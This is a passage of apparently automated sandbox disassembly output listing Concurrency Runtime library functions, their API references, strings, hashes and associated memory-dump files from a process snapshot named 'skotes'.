Instruction Fuzzy Hash: 7A21E235B106159BCB14AB6CDCA5AFCB3E9FF94324B4409AAE411872D1DFE4A841CAD0

Function 00BAAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00BAAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00BAAF4E

Strings

pExecutionResource, xrefs: 00BAAF07

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 3433304f9d79f4d74544b950b72b631d991790da178760ade243601f5f063166
Instruction ID: ed23af3070cd932258eb8bc56c0359abfdaf777aed4a48d3915554de6af2ddc1
Opcode Fuzzy Hash: 3433304f9d79f4d74544b950b72b631d991790da178760ade243601f5f063166
Instruction Fuzzy Hash: 852176756413059BCF08EF54C892BADB7E5BF48310F1440A9E505AB392DBB4AE05CBA5

Function 00BA4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00BA4F66

Strings

count, xrefs: 00BA4EBA
ppVirtualProcessorRoots, xrefs: 00BA4F1C

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: ecd8901f4d9b8cdaaa5a9eb32f260244a50e2a70071b40170bb5d610fe687657
Instruction ID: 1758d3487a8d2e3158b12ac3735b824bf9e73e6038f300a9e1388c49e18892ce
Opcode Fuzzy Hash: ecd8901f4d9b8cdaaa5a9eb32f260244a50e2a70071b40170bb5d610fe687657
Instruction Fuzzy Hash: 42218335604615EFCF18EF98C892EADB7F5FF89310F1040AAE50697691DBB1AE01CB51

Function 00BAB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BABA0E

Strings

RoInitialize, xrefs: 00BAB998
RoUninitialize, xrefs: 00BAB9C1
combase.dll, xrefs: 00BAB983, 00BAB988, 00BAB99D, 00BAB9C8

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: e178bf6d37cda369d2c30e8c4bc2c8ef1c45cdaa86e99208caca97772b829f49
Instruction ID: f6bfa61bd3a509b0b85e394a2b19fbfe81e06b23d597baf0fa1b2e7a47fb26fc
Opcode Fuzzy Hash: e178bf6d37cda369d2c30e8c4bc2c8ef1c45cdaa86e99208caca97772b829f49
Instruction Fuzzy Hash: 9E016D319963556EEB2077B68C41FBB31CCDF0270CF1019AAE560F7182EF65D40047A1

Function 00BA6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00BA6E73

Part of subcall function 00BA4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA4E7F
Part of subcall function 00BA4E6E: List.LIBCMT ref: 00BA4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BA6EAA

Strings

eventObject, xrefs: 00BA6E7D

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: deb67428d715d945604f8de0d1369ccba50bde0f0e0fb1e025948260264efa8d
Instruction ID: 7b310d06aa8db1d3515cc6d6419804b9633e9d5044e9c9ca63be4e7566e0d3a1
Opcode Fuzzy Hash: deb67428d715d945604f8de0d1369ccba50bde0f0e0fb1e025948260264efa8d
Instruction Fuzzy Hash: 7F11E575544204E7DB28FBA4CC86FEE77E89F01704F2041A5F514A61D1EB74AA04C6B5

Function 00BAA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00BAA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00BAA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAA139

Strings

pScheduler, xrefs: 00BAA131

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
